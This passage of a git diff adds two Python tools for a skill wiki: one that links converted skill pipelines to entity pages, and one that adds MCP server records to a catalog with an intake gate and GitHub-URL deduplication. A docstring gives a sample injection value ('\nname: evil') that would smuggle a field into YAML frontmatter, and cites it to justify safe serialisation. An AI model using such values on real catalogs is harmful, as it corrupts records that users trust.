+    "main",
+    "render_markdown",
+]
diff --git a/src/link_conversions.py b/src/link_conversions.py
new file mode 100644
index 0000000000000000000000000000000000000000..bc9446fdbbd93e5ec12b4b070a515b762146634f
--- /dev/null
+++ b/src/link_conversions.py
@@ -0,0 +1,424 @@
+#!/usr/bin/env python3
+"""
+link_conversions.py -- Link converted micro-skill pipelines to wiki entity pages.
+
+Usage:
+    python link_conversions.py \
+      --wiki ~/.claude/skill-wiki \
+      --skills-dir ~/.claude/skills
+
+Scans ~/.claude/skill-wiki/converted/ for all converted skill directories and:
+  1. Updates existing entity pages with pipeline frontmatter fields
+  2. Creates new entity pages for skills without one
+  3. Updates index.md with any new skill entries
+  4. Appends a summary entry to log.md
+  5. Generates converted-index.md listing all converted skills
+"""
+
+import argparse
+import re
+import sys
+from dataclasses import dataclass, field
+from datetime import datetime, timezone
+from pathlib import Path
+
+from ctx_config import cfg
+from ctx.core.wiki.wiki_utils import get_field as _find_field
+
+TODAY = datetime.now(timezone.utc).strftime("%Y-%m-%d")
+
+# ---------------------------------------------------------------------------
+# Data structures
+# ---------------------------------------------------------------------------
+
+
+@dataclass(frozen=True)
+class ConvertedSkill:
+    """Represents a single converted micro-skill pipeline directory."""
+
+    name: str
+    pipeline_path: str  # relative to wiki root, e.g. "converted/007/"
+    abs_dir: Path
+
+
+@dataclass
+class ProcessResult:
+    """Aggregate result of a full run."""
+
+    updated: list[str] = field(default_factory=list)
+    created: list[str] = field(default_factory=list)
+    errors: list[str] = field(default_factory=list)
+
+
+# ---------------------------------------------------------------------------
+# Frontmatter helpers
+# ---------------------------------------------------------------------------
+
+_FM_PATTERN = re.compile(r"^---\r?\n(.*?\r?\n)---\r?\n", re.DOTALL)
+_FIELD_PATTERN_TMPL = r"^{key}:\s*(.+)$"
+
+
+
+def _set_field(content: str, key: str, value: str) -> str:
+    """Set or add a frontmatter field. Adds before the closing --- if not present."""
+    pattern = re.compile(_FIELD_PATTERN_TMPL.format(key=re.escape(key)), re.MULTILINE)
+    replacement = f"{key}: {value}"
+
+    if pattern.search(content):
+        return pattern.sub(replacement, content)
+
+    # Field not present -- insert before closing ---
+    fm_match = _FM_PATTERN.match(content)
+    if fm_match:
+        insert_pos = content.index("---\n", fm_match.start() + 4)
+        return content[:insert_pos] + f"{replacement}\n" + content[insert_pos:]
+
+    # No frontmatter at all -- prepend minimal block
+    return f"---\n{replacement}\n---\n\n" + content
+
+
+def _inject_pipeline_fields(content: str, pipeline_path: str) -> str:
+    """Add/update the three pipeline fields in frontmatter."""
+    content = _set_field(content, "has_pipeline", "true")
+    content = _set_field(content, "pipeline_path", pipeline_path)
+    content = _set_field(content, "pipeline_converted", TODAY)
+    return content
+
+
+# ---------------------------------------------------------------------------
+# Skill directory scanning
+# ---------------------------------------------------------------------------
+
+
+def scan_converted(wiki: Path) -> list[ConvertedSkill]:
+    """Return sorted list of all converted skill directories."""
+    converted_root = wiki / "converted"
+    if not converted_root.is_dir():
+        return []
+
+    skills: list[ConvertedSkill] = []
+    for entry in sorted(converted_root.iterdir()):
+        if entry.is_dir():
+            skills.append(
+                ConvertedSkill(
+                    name=entry.name,
+                    pipeline_path=f"converted/{entry.name}/",
+                    abs_dir=entry,
+                )
+            )
+    return skills
+
+
+# ---------------------------------------------------------------------------
+# Entity page helpers
+# ---------------------------------------------------------------------------
+
+
+def _infer_tags(name: str) -> list[str]:
+    """Infer rough tags from a skill name."""
+    tag_keywords = [
+        "python", "javascript", "typescript", "react", "docker",
+        "fastapi", "django", "langchain", "mcp", "testing", "rust",
+        "go", "java", "ruby", "swift", "sql", "redis", "kafka",
+        "security", "llm", "agents", "api",
+    ]
+    lowered = name.lower().replace("-", " ").replace("_", " ")
+    found = [t for t in tag_keywords if t in lowered]
+    return found if found else ["uncategorized"]
+
+
+def _read_pipeline_description(converted_skill: ConvertedSkill) -> str:
+    """Read description from the pipeline's SKILL.md frontmatter if available."""
+    skill_md = converted_skill.abs_dir / "SKILL.md"
+    if not skill_md.exists():
+        return ""
+    raw = skill_md.read_text(encoding="utf-8", errors="replace")
+    match = re.search(r'^description:\s*"?(.+?)"?\s*$', raw, re.MULTILINE)
+    return match.group(1).strip().strip('"') if match else ""
+
+
+def _build_new_entity_page(skill: ConvertedSkill, skills_dir: Path) -> str:
+    """Build full content for a brand-new entity page."""
+    tags = _infer_tags(skill.name)
+    description = _read_pipeline_description(skill)
+
+    # Original skill path (best-effort; may not exist)
+    original_path = skills_dir / skill.name / "SKILL.md"
+    original_note = (
+        f"Original skill file: `{original_path}`"
+        if original_path.exists()
+        else "Original skill file not found in skills directory."
+    )
+
+    overview = description if description else f"Micro-skill pipeline for **{skill.name}**."
+
+    return (
+        f"---\n"
+        f"title: {skill.name}\n"
+        f"created: {TODAY}\n"
+        f"updated: {TODAY}\n"
+        f"type: skill\n"
+        f"status: installed\n"
+        f"tags: [{', '.join(tags)}]\n"
+        f"source: local\n"
+        f"has_pipeline: true\n"
+        f"pipeline_path: {skill.pipeline_path}\n"
+        f"pipeline_converted: {TODAY}\n"
+        f"use_count: 0\n"
+        f"session_count: 0\n"
+        f"last_used: {TODAY}\n"
+        f"---\n"
+        f"\n"
+        f"# {skill.name}\n"
+        f"\n"
+        f"## Overview\n"
+        f"{overview}\n"
+        f"\n"
+        f"## Versions\n"
+        f"This skill has both an original version and a converted micro-skill pipeline.\n"
+        f"\n"
+        f"- Pipeline (micro-skills): [[converted/{skill.name}/SKILL.md]]\n"
+        f"- {original_note}\n"
+        f"\n"
+        f"## Pipeline\n"
+        f"The pipeline version was converted from a monolithic SKILL.md (>180 lines) into\n"
+        f"a gated multi-step pipeline stored under `{skill.pipeline_path}`.\n"
+        f"\n"
+        f"See [[converted/{skill.name}/SKILL.md]] for the pipeline entry point.\n"
+        f"\n"
+        f"## Related Skills\n"
+        f"\n"
+        f"\n"
+        f"## Usage History\n"
+        f"| Date | Action | Notes |\n"
+        f"|------|--------|-------|\n"
+        f"| {TODAY} | pipeline-linked | Created by link_conversions.py |\n"
+    )
+
+
+def upsert_entity_page(
+    wiki: Path,
+    skill: ConvertedSkill,
+    skills_dir: Path,
+) -> bool:
+    """Create or update a skill entity page. Returns True if a new page was created."""
+    page_path = wiki / "entities" / "skills" / f"{skill.name}.md"
+    is_new = not page_path.exists()
+
+    if is_new:
+        content = _build_new_entity_page(skill, skills_dir)
+    else:
+        content = page_path.read_text(encoding="utf-8", errors="replace")
+        content = _inject_pipeline_fields(content, skill.pipeline_path)
+        # Bump updated date
+        old_updated = _find_field(content, "updated")
+        if old_updated and old_updated != TODAY:
+            content = re.sub(
+                r"^updated:\s*.+$",
+                f"updated: {TODAY}",
+                content,
+                flags=re.MULTILINE,
+            )
+
+    page_path.write_text(content, encoding="utf-8")
+    return is_new
+
+
+# ---------------------------------------------------------------------------
+# index.md
+# ---------------------------------------------------------------------------
+
+
+def update_index(wiki: Path, new_skills: list[str]) -> None:
+    """Add new skill entries to the Skills section of index.md."""
+    if not new_skills:
+        return
+
+    index_path = wiki / "index.md"
+    content = index_path.read_text(encoding="utf-8", errors="replace")
+    lines = content.split("\n")
+
+    # Locate the ## Skills insertion point
+    insert_idx: int | None = None
+    in_skills = False
+    for i, line in enumerate(lines):
+        if line.strip() == "## Skills":
+            insert_idx = i + 1
+            in_skills = True
+        elif in_skills and line.startswith("## "):
+            break
+
+    if insert_idx is None:
+        insert_idx = len(lines)
+
+    # Build set of lines already in index
+    existing_content = "\n".join(lines)
+
+    added = 0
+    for skill_name in sorted(new_skills):
+        entry = f"- [[entities/skills/{skill_name}]] - Converted micro-skill pipeline"
+        if entry not in existing_content:
+            lines.insert(insert_idx, entry)
+            insert_idx += 1
+            added += 1
+
+    if added == 0:
+        return
+
+    # Update header metadata
+    skill_count = sum(1 for ln in lines if "[[entities/skills/" in ln)
+    for i, line in enumerate(lines):
+        if "Total pages:" in line:
+            lines[i] = re.sub(r"Total pages: \d+", f"Total pages: {skill_count}", line)
+            lines[i] = re.sub(r"Last updated: [\d-]+", f"Last updated: {TODAY}", lines[i])
+            break
+
+    index_path.write_text("\n".join(lines), encoding="utf-8")
+
+
+# ---------------------------------------------------------------------------
+# log.md
+# ---------------------------------------------------------------------------
+
+
+def append_log(wiki: Path, action: str, subject: str, details: list[str]) -> None:
+    """Append a structured entry to log.md."""
+    log_path = wiki / "log.md"
+    lines = [f"\n## [{TODAY}] {action} | {subject}"]
+    lines.extend(f"- {d}" for d in details)
+    entry = "\n".join(lines) + "\n"
+
+    with open(log_path, "a", encoding="utf-8") as fh:
+        fh.write(entry)
+
+
+# ---------------------------------------------------------------------------
+# converted-index.md
+# ---------------------------------------------------------------------------
+
+
+def generate_converted_index(wiki: Path, skills: list[ConvertedSkill]) -> None:
+    """Generate converted-index.md listing every converted skill."""
+    out_path = wiki / "converted-index.md"
+
+    header = (
+        f"# Converted Micro-Skill Pipelines Index\n"
+        f"\n"
+        f"> All skills that were converted from monolithic SKILL.md files (>180 lines)\n"
+        f"> into gated micro-skill pipelines.\n"
+        f">\n"
+        f"> Generated: {TODAY} | Total: {len(skills)}\n"
+        f"\n"
+        f"| Skill | Entity Page | Pipeline Entry |\n"
+        f"|-------|-------------|----------------|\n"
+    )
+
+    rows: list[str] = []
+    for skill in skills:
+        entity_link = f"[[entities/skills/{skill.name}]]"
+        pipeline_link = f"[[{skill.pipeline_path}SKILL.md]]"
+        rows.append(f"| {skill.name} | {entity_link} | {pipeline_link} |")
+
+    content = header + "\n".join(rows) + "\n"
+    out_path.write_text(content, encoding="utf-8")
+    print(f"  converted-index.md written ({len(skills)} entries)")
+
+
+# ---------------------------------------------------------------------------
+# Main orchestration
+# ---------------------------------------------------------------------------
+
+
+def run(wiki: Path, skills_dir: Path) -> ProcessResult:
+    """Main processing loop."""
+    result = ProcessResult()
+
+    if not wiki.is_dir():
+        result.errors.append(f"Wiki directory not found: {wiki}")
+        return result
+
+    entities_dir = wiki / "entities" / "skills"
+    entities_dir.mkdir(parents=True, exist_ok=True)
+
+    converted_skills = scan_converted(wiki)
+    if not converted_skills:
+        print("No converted skill directories found.")
+        return result
+
+    print(f"Found {len(converted_skills)} converted skills.")
+
+    for skill in converted_skills:
+        try:
+            is_new = upsert_entity_page(wiki, skill, skills_dir)
+            if is_new:
+                result.created.append(skill.name)
+            else:
+                result.updated.append(skill.name)
+        except Exception as exc:  # noqa: BLE001
+            msg = f"{skill.name}: {exc}"
+            result.errors.append(msg)
+            print(f"  ERROR {msg}", file=sys.stderr)
+
+    # Update index with newly created pages only
+    update_index(wiki, result.created)
+
+    # Generate converted-index.md for all converted skills
+    generate_converted_index(wiki, converted_skills)
+
+    # Append to log
+    details = [
+        f"Converted skills found: {len(converted_skills)}",
+        f"Entity pages updated: {len(result.updated)}",
+        f"Entity pages created: {len(result.created)}",
+        f"Errors: {len(result.errors)}",
+        f"converted-index.md: {wiki / 'converted-index.md'}",
+    ]
+    if result.created:
+        details.append(f"New pages: {', '.join(sorted(result.created))}")
+    if result.errors:
+        details.append(f"Error details: {'; '.join(result.errors[:10])}")
+
+    append_log(wiki, "link-conversions", "converted-pipelines", details)
+
+    return result
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Link converted micro-skill pipelines to wiki entity pages."
+    )
+    parser.add_argument(
+        "--wiki",
+        default=str(cfg.wiki_dir),
+        help=f"Path to the skill wiki root (default: {cfg.wiki_dir})",
+    )
+    parser.add_argument(
+        "--skills-dir",
+        default=str(cfg.skills_dir),
+        help=f"Path to the skills directory (default: {cfg.skills_dir})",
+    )
+    args = parser.parse_args()
+
+    wiki = Path(args.wiki).expanduser().resolve()
+    skills_dir = Path(args.skills_dir).expanduser().resolve()
+
+    print(f"Wiki:       {wiki}")
+    print(f"Skills dir: {skills_dir}")
+
+    result = run(wiki, skills_dir)
+
+    print(
+        f"\nDone. Created: {len(result.created)}  "
+        f"Updated: {len(result.updated)}  "
+        f"Errors: {len(result.errors)}"
+    )
+
+    if result.errors:
+        print("\nErrors encountered:", file=sys.stderr)
+        for err in result.errors:
+            print(f"  {err}", file=sys.stderr)
+        sys.exit(1)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_add.py b/src/mcp_add.py
new file mode 100644
index 0000000000000000000000000000000000000000..8daa6669b8ec617b86272966bfb5a298fdfe1c65
--- /dev/null
+++ b/src/mcp_add.py
@@ -0,0 +1,596 @@
+#!/usr/bin/env python3
+"""
+mcp_add.py -- Add MCP server records to the wiki catalog with intake gate.
+
+Records are catalog-only (no local install). Sources are merged idempotently
+so the same record from two different harvesters yields one page with both
+sources listed.
+
+Usage
+-----
+    # Single record from JSON file
+    ctx-mcp-add --from-json /path/to/record.json
+
+    # JSONL from file (one JSON object per line)
+    ctx-mcp-add --from-jsonl /path/to/records.jsonl
+
+    # JSONL from stdin
+    ctx-mcp-add --from-stdin
+
+    [--dry-run] [--wiki PATH] [--skip-existing]
+"""
+
+import argparse
+import json
+import os
+import re
+import sys
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any
+
+import yaml  # type: ignore[import-untyped]
+
+from ctx.core.entity_update import build_update_review, render_update_review
+from ctx_config import cfg
+from intake_pipeline import IntakeRejected, check_intake, record_embedding
+import mcp_canonical_index
+from mcp_entity import McpRecord
+from wiki_batch_entities import generate_mcp_page
+from ctx.core.wiki.wiki_sync import append_log, ensure_wiki, update_index
+from ctx.core.wiki.wiki_utils import validate_skill_name
+
+TODAY = datetime.now(timezone.utc).strftime("%Y-%m-%d")
+
+# Relative root for MCP server entity pages inside the wiki
+_MCP_ENTITY_SUBDIR = "entities/mcp-servers"
+
+
+def _build_corpus_text(record: McpRecord) -> str:
+    """Build a SKILL.md-shaped corpus blob for the intake gate + embedding.
+
+    The intake gate's structural check expects YAML frontmatter with
+    ``name`` + ``description`` plus an H1 and H2 in the body — the
+    same shape skills and agents present. We synthesize a minimal
+    page from the McpRecord so the same gate that polices skills and
+    agents also polices MCPs without the gate needing per-type logic.
+
+    The synthesized text is used only for intake (gate + embedding
+    cache); the actual entity page that lands on disk is the richer
+    output of ``generate_mcp_page``.
+
+    Frontmatter is rendered via ``yaml.safe_dump`` rather than f-string
+    interpolation. Descriptions and slugs flow from untrusted README
+    content in the awesome-mcp parser; a description containing
+    ``\\n---\\n`` or ``\\nname: evil`` would otherwise corrupt the
+    synthesized YAML before the intake gate sees it. Body sections are
+    plain markdown with no parser-significant interpolation.
+    """
+    tags_line = " ".join(record.tags) if record.tags else "none"
+    transports_line = " ".join(record.transports) if record.transports else "unknown"
+    sources_line = " ".join(record.sources) if record.sources else "none"
+
+    fm_yaml = yaml.safe_dump(
+        {"name": record.slug, "description": record.description},
+        default_flow_style=False,
+        allow_unicode=True,
+        sort_keys=False,
+    )
+
+    return (
+        "---\n"
+        f"{fm_yaml}"
+        "---\n\n"
+        f"# {record.name}\n\n"
+        "## Overview\n\n"
+        f"{record.description}\n\n"
+        "## Tags\n\n"
+        f"{tags_line}\n\n"
+        "## Transports\n\n"
+        f"{transports_line}\n\n"
+        "## Sources\n\n"
+        f"{sources_line}\n"
+    )
+
+
+def _merge_sources(existing_fm: dict[str, Any], new_sources: tuple[str, ...]) -> list[str]:
+    """Return a sorted, deduplicated union of existing and new sources."""
+    existing: list[str] = existing_fm.get("sources", []) or []
+    merged = sorted(set(existing) | set(new_sources))
+    return merged
+
+
+def _parse_frontmatter(text: str) -> dict[str, Any]:
+    """Extract YAML frontmatter from a markdown page. Returns {} on failure."""
+    match = re.match(r"^---\n(.*?\n)---\n", text, re.DOTALL)
+    if not match:
+        return {}
+    try:
+        data = yaml.safe_load(match.group(1))
+        return data if isinstance(data, dict) else {}
+    except yaml.YAMLError:
+        return {}
+
+
+def _keep_longer_description(existing_fm: dict[str, Any], record: McpRecord) -> str:
+    """Return whichever description is longer — existing page's or the record's."""
+    existing_desc: str = existing_fm.get("description", "") or ""
+    return existing_desc if len(existing_desc) >= len(record.description) else record.description
+
+
+def _rewrite_frontmatter(page_text: str, new_fm: dict[str, Any]) -> str:
+    """Replace the YAML frontmatter block in *page_text* with *new_fm*."""
+    body_match = re.match(r"^---\n.*?\n---\n(.*)", page_text, re.DOTALL)
+    body = body_match.group(1) if body_match else page_text
+    fm_str = yaml.safe_dump(new_fm, default_flow_style=False, allow_unicode=True, sort_keys=False)
+    return f"---\n{fm_str}---\n{body}"
+
+
+def _normalize_github_url(url: str | None) -> str | None:
+    """Return the canonical lowercase GitHub URL, or None for non-GitHub inputs.
+
+    Mirrors ``McpRecord.canonical_dedup_key`` so an existing-entity scan
+    can match against new records on the same key. We strip trailing
+    slashes and lowercase host+path because GitHub URLs are case-
+    insensitive at the host but display case is preserved by the parser.
+    """
+    if not url:
+        return None
+    candidate = url.strip().rstrip("/").lower()
+    if not candidate.startswith(("http://github.com/", "https://github.com/")):
+        return None
+    return candidate
+
+
+def _scan_for_github_url(mcp_dir: Path, target: str) -> Path | None:
+    """Walk every entity page looking for a canonical github_url match.
+
+    O(n) fallback used when the canonical-index sidecar misses or
+    returns a stale entry. ``target`` must already be normalized — this
+    function does not re-normalize.
+    """
+    for page in mcp_dir.rglob("*.md"):
+        # Skip sidecar files (``.canonical-index.json`` is not .md but
+        # a future hidden .md would be caught here).
+        if page.name.startswith("."):
+            continue
+        try:
+            text = page.read_text(encoding="utf-8", errors="replace")
+        except OSError:
+            continue
+        # Fast path: grep the text for the URL before parsing YAML.
+        if target not in text.lower():
+            continue
+        fm = _parse_frontmatter(text)
+        if _normalize_github_url(fm.get("github_url")) == target:
+            return page
+    return None
+
+
+def _find_existing_by_github_url(
+    mcp_dir: Path, target_github_url: str | None
+) -> Path | None:
+    """Return the path of an existing entity page for ``target_github_url``.
+
+    Phase 3.6 cross-source dedup: when awesome-mcp and pulsemcp both
+    catalog the same upstream repo, their slugs differ, and the slug-
+    based existence check in ``add_mcp`` would create two separate
+    entities. This helper finds the existing entity by its canonical
+    github_url so the second source can merge into it instead.
+
+    Phase 6b: canonical-index sidecar turns the O(n) scan into O(1)
+    lookup on the hot path. The index is a *cache*, not authoritative:
+
+    - Hit + file exists  -> return the indexed path.
+    - Hit + file missing -> stale entry; scan and repair (upsert the
+      scan result, or remove the stale mapping if nothing matches).
+    - Miss               -> scan once; on hit, repair by upserting.
+    - No github_url      -> return None (indexing github-only URLs).
+    """
+    target = _normalize_github_url(target_github_url)
+    if target is None or not mcp_dir.is_dir():
+        return None
+
+    index = mcp_canonical_index.load_index(mcp_dir)
+    # Distinguish "true miss" (no entry) from "stale hit" (entry exists
+    # but points at nothing/something else). lookup() collapses both to
+    # None which hides the information we need for repair decisions.
+    raw_entry = index["by_github_url"].get(target)
+    cached = mcp_canonical_index.lookup(mcp_dir, target, index=index)
+    if cached is not None:
+        # Defensive confirm: the indexed file might have been manually
+        # edited to point at a different repo. If the stored github_url
+        # still matches the target, we trust it; otherwise fall through
+        # to the scan path and treat this as a stale entry.
+        try:
+            fm = _parse_frontmatter(cached.read_text(encoding="utf-8", errors="replace"))
+            if _normalize_github_url(fm.get("github_url")) == target:
+                return cached
+        except OSError:
+            pass  # Scan-and-repair below handles this.
+
+    # Miss or stale hit: fall back to the authoritative scan.
+    hit = _scan_for_github_url(mcp_dir, target)
+    if hit is not None:
+        # Repair the index so the next call is O(1).
+        try:
+            relpath = hit.relative_to(mcp_dir).as_posix()
+            slug = hit.stem
+            mcp_canonical_index.upsert(
+                mcp_dir, target, slug=slug, relpath=relpath, index=index
+            )
+        except (OSError, ValueError):
+            # Index-repair failure must not block the dedup decision;
+            # the next successful add will get another chance to repair.
+            pass
+        return hit
+
+    # Nothing on disk anywhere. If the index had a stale entry, drop it
+    # so future lookups don't keep paying the scan cost.
+    if raw_entry is not None:
+        try:
+            mcp_canonical_index.remove(mcp_dir, target, index=index)
+        except OSError:
+            pass
+    return None
+
+
+def add_mcp(
+    *,
+    record: McpRecord,
+    wiki_path: Path,
+    dry_run: bool = False,
+    review_existing: bool = False,
+    update_existing: bool = False,
+) -> dict[str, Any]:
+    """Add (or merge sources for) one MCP record into the wiki catalog.
+
+    Flow:
+      1. Validate slug.
+      2. Compute target path: wiki/entities/mcp-servers//.md
+      3. If target exists -> SKIP intake gate, run merge directly. The
+         merge path is for known-good entities; running intake here would
+         flag the re-fetched record as DUPLICATE against its own existing
+         embedding (cosine 1.0 >= dup_threshold 0.93) and block source
+         merging from ever happening. Existence is the source of truth.
+      4. If target does NOT exist -> run intake gate, then write a new
+         entity page via generate_mcp_page(). Intake's similarity check
+         here is meaningful: it catches near-duplicates *between distinct
+         slugs* in the same source (e.g. two records that differ only in
+         creator-prefix capitalisation).
+      5. record_embedding (non-fatal). Only on first creation; re-merge
+         doesn't touch the cache because the existing vector is correct.
+      6. update_index + append_log (only when is_new_page).
+
+    Args:
+        record: Populated McpRecord dataclass instance.
+        wiki_path: Absolute path to the wiki root directory.
+        dry_run: Compute everything but skip writes and embeddings.
+        review_existing: Return an update review instead of mutating existing pages.
+        update_existing: Apply an existing-page update after review.
+
+    Returns:
+        dict with keys: slug, is_new_page, merged_sources, path
+    """
+    validate_skill_name(record.slug)
+
+    entity_rel = record.entity_relpath()  # e.g. "f/fetch-mcp.md"
+    mcp_dir = wiki_path / _MCP_ENTITY_SUBDIR
+    target_path = mcp_dir / entity_rel
+
+    # Phase 3.6: cross-source dedup by canonical github_url before the
+    # slug-based check. When awesome-mcp and pulsemcp both catalog the
+    # same upstream repo, their slugs differ — we want to merge into
+    # the existing entity, not create a second one at our slug path.
+    # Only fires when the new record carries a github_url; pulsemcp
+    # listing-page records currently have only homepage_url (Phase 6
+    # detail-page enrichment will populate github_url so this dedup
+    # path becomes meaningful for them too).
+    canonical_match = _find_existing_by_github_url(mcp_dir, record.github_url)
+    if canonical_match is not None and canonical_match != target_path:
+        target_path = canonical_match
+
+    target_path.parent.mkdir(parents=True, exist_ok=True)
+
+    is_new_page: bool
+    merged_sources: list[str]
+    decision = None  # Filled only on the new-record path; new entries
+                     # carry their intake findings forward into the log.
+    corpus_text = ""
+
+    # Phase 1 of branching: compute the read-side state. No serialization
+    # work happens here so dry-run cannot fail on a malformed existing
+    # page — that's deferred to the write-gate below.
+    if target_path.exists():
+        # Existing entity → straight to merge. No intake call: the gate
+        # would reject this as DUPLICATE against the cached embedding
+        # of the original ingest, blocking the source-merge that's the
+        # whole point of re-fetching. Phase 3b made this concrete.
+        is_new_page = False
+        existing_text = target_path.read_text(encoding="utf-8")
+        existing_fm = _parse_frontmatter(existing_text)
+        merged_sources = _merge_sources(existing_fm, record.sources)
+        kept_description = _keep_longer_description(existing_fm, record)
+    else:
+        # New entity → intake gate applies. A DUPLICATE finding here
+        # would mean a *different* slug has near-identical content,
+        # which is a real signal we want to surface.
+        corpus_text = _build_corpus_text(record)
+        decision = check_intake(corpus_text, "mcp-servers")
+        if not decision.allow:
+            raise IntakeRejected(decision)
+
+        is_new_page = True
+        existing_text = ""
+        existing_fm = {}
+        merged_sources = sorted(record.sources)
+        kept_description = record.description
+
+    if is_new_page:
+        final_text = generate_mcp_page(record)
+    else:
+        updated_fm = {
+            **existing_fm,
+            "sources": merged_sources,
+            "description": kept_description,
+            "updated": TODAY,
+        }
+        final_text = _rewrite_frontmatter(existing_text, updated_fm)
+
+    if review_existing and not is_new_page and not update_existing:
+        review = build_update_review(
+            entity_type="mcp-server",
+            slug=record.slug,
+            existing_text=existing_text,
+            proposed_text=final_text,
+        )
+        return {
+            "slug": record.slug,
+            "is_new_page": False,
+            "merged_sources": merged_sources,
+            "path": str(target_path),
+            "skipped": True,
+            "update_required": True,
+            "update_review": render_update_review(review),
+        }
+
+    if not dry_run:
+        # Phase 2 of branching: render and write. Any YAML serialization
+        # failure now is a real error, not a dry-run side-effect.
+        target_path.write_text(final_text, encoding="utf-8")
+
+        # Phase 6b: keep the canonical sidecar index hot. Upsert on
+        # every successful write so the first cross-source dedup after
+        # this add is O(1) without needing a rebuild. Applies to both
+        # new pages AND source merges — a merge can land a github_url
+        # from the second source when the first source lacked one.
+        # Index-write failures must not break the add; the next lookup
+        # will scan-and-repair.
+        canonical = _normalize_github_url(record.github_url)
+        if canonical is not None:
+            try:
+                relpath = target_path.relative_to(mcp_dir).as_posix()
+                mcp_canonical_index.upsert(
+                    mcp_dir,
+                    canonical,
+                    slug=record.slug,
+                    relpath=relpath,
+                )
+            except (OSError, ValueError) as exc:
+                print(
+                    f"Warning: failed to update canonical index for {record.slug}: {exc}",
+                    file=sys.stderr,
+                )
+
+        # Embed + index + log only on first creation. Re-merging an
+        # existing entity does not invalidate its embedding (content
+        # is the same — sources are metadata, not corpus text), and
+        # logging every re-merge would blow up log.md at scale.
+        if is_new_page:
+            try:
+                record_embedding(
+                    subject_id=record.slug,
+                    raw_md=corpus_text,
+                    subject_type="mcp-servers",
+                )
+            except Exception as exc:  # noqa: BLE001 — cache failure must not break catalog
+                print(
+                    f"Warning: failed to record intake embedding for {record.slug}: {exc}",
+                    file=sys.stderr,
+                )
+
+            update_index(str(wiki_path), [record.slug], subject_type="mcp-servers")
+
+            log_details = [
+                f"Slug: {record.slug}",
+                f"Path: {target_path}",
+                f"Sources: {', '.join(merged_sources) if merged_sources else 'none'}",
+                f"Tags: {', '.join(record.tags) if record.tags else 'none'}",
+                f"Transports: {', '.join(record.transports) if record.transports else 'unknown'}",
+            ]
+            # ``decision`` is set whenever ``is_new_page`` is True (intake
+            # ran on the new-record path). The assert is a typing invariant,
+            # not a runtime guard.
+            assert decision is not None
+            warnings = decision.warnings
+            if warnings:
+                log_details.append(
+                    "Warnings: " + "; ".join(f"{w.code}:{w.message}" for w in warnings)
+                )
+            append_log(str(wiki_path), "add-mcp", record.slug, log_details)
+
+    return {
+        "slug": record.slug,
+        "is_new_page": is_new_page,
+        "merged_sources": merged_sources,
+        "path": str(target_path),
+        "skipped": False,
+        "update_required": False,
+    }
+
+
+# ── CLI ───────────────────────────────────────────────────────────────────────
+
+
+def _process_batch(
+    records: list[dict[str, Any]],
+    wiki_path: Path,
+    dry_run: bool,
+    skip_existing: bool,
+    update_existing: bool,
+    mcp_entity_dir: Path,
+) -> tuple[int, int, int, int, int]:
+    """Process records. Returns (added, merged, reviewed, rejected, errors)."""
+    added = merged = reviewed = rejected = errors = 0
+    total = len(records)
+
+    for i, raw in enumerate(records, 1):
+        slug = raw.get("slug", "")
+        try:
+            record = McpRecord.from_dict(raw)
+        except Exception as exc:  # noqa: BLE001 — batch CLI must not crash on one bad record
+            errors += 1
+            print(f"  [{i}/{total}] ERROR: {slug}: {exc}", file=sys.stderr)
+            continue
+
+        entity_rel = record.entity_relpath()
+        target_path = mcp_entity_dir / entity_rel
+
+        if skip_existing and target_path.exists():
+            merged += 1
+            print(f"  [{i}/{total}] [skipped] {record.slug}")
+            continue
+
+        try:
+            result = add_mcp(
+                record=record,
+                wiki_path=wiki_path,
+                dry_run=dry_run,
+                review_existing=True,
+                update_existing=update_existing,
+            )
+            if result["is_new_page"]:
+                added += 1
+                status = "added"
+            elif result.get("update_required"):
+                reviewed += 1
+                status = "update-review"
+                if result.get("update_review"):
+                    print(result["update_review"])
+            else:
+                merged += 1
+                status = "updated" if update_existing else "merged"
+            print(f"  [{i}/{total}] [{status}] {record.slug}")
+        except IntakeRejected as exc:
+            rejected += 1
+            codes = ", ".join(f.code for f in exc.decision.failures) or "unknown"
+            print(f"  [{i}/{total}] [rejected] {record.slug}: {codes}", file=sys.stderr)
+        except Exception as exc:  # noqa: BLE001 — batch CLI must continue past one failure
+            errors += 1
+            print(f"  [{i}/{total}] ERROR: {record.slug}: {exc}", file=sys.stderr)
+
+    return added, merged, reviewed, rejected, errors
+
+
+def main() -> None:
+    """Entry point for the ctx-mcp-add CLI."""
+    parser = argparse.ArgumentParser(
+        description="Add MCP server records to the wiki catalog"
+    )
+
+    source_group = parser.add_mutually_exclusive_group(required=True)
+    source_group.add_argument(
+        "--from-json",
+        metavar="PATH",
+        help="Single record as a JSON object file",
+    )
+    source_group.add_argument(
+        "--from-jsonl",
+        metavar="PATH",
+        help="Batch of records as a JSONL file (one object per line)",
+    )
+    source_group.add_argument(
+        "--from-stdin",
+        action="store_true",
+        help="Read JSONL records from stdin (one object per line)",
+    )
+
+    parser.add_argument("--dry-run", action="store_true", help="Parse and validate but skip writes")
+    parser.add_argument("--wiki", default=str(cfg.wiki_dir), help="Wiki root path")
+    parser.add_argument(
+        "--skip-existing",
+        action="store_true",
+        help="Skip records whose entity page already exists (no source merge)",
+    )
+    parser.add_argument(
+        "--update-existing",
+        action="store_true",
+        help="Apply the reviewed replacement when an MCP entity already exists",
+    )
+    args = parser.parse_args()
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+    ensure_wiki(str(wiki_path))
+    mcp_entity_dir = wiki_path / _MCP_ENTITY_SUBDIR
+
+    raw_records: list[dict[str, Any]] = []
+
+    if args.from_json:
+        json_path = Path(os.path.expanduser(args.from_json))
+        if not json_path.exists():
+            print(f"Error: {json_path} does not exist.", file=sys.stderr)
+            sys.exit(1)
+        try:
+            raw_records = [json.loads(json_path.read_text(encoding="utf-8"))]
+        except json.JSONDecodeError as exc:
+            print(f"Error: failed to parse JSON: {exc}", file=sys.stderr)
+            sys.exit(1)
+
+    elif args.from_jsonl:
+        jsonl_path = Path(os.path.expanduser(args.from_jsonl))
+        if not jsonl_path.exists():
+            print(f"Error: {jsonl_path} does not exist.", file=sys.stderr)
+            sys.exit(1)
+        for lineno, line in enumerate(
+            jsonl_path.read_text(encoding="utf-8").splitlines(), 1
+        ):
+            line = line.strip()
+            if not line:
+                continue
+            try:
+                raw_records.append(json.loads(line))
+            except json.JSONDecodeError as exc:
+                print(f"Warning: line {lineno} skipped (bad JSON): {exc}", file=sys.stderr)
+
+    elif args.from_stdin:
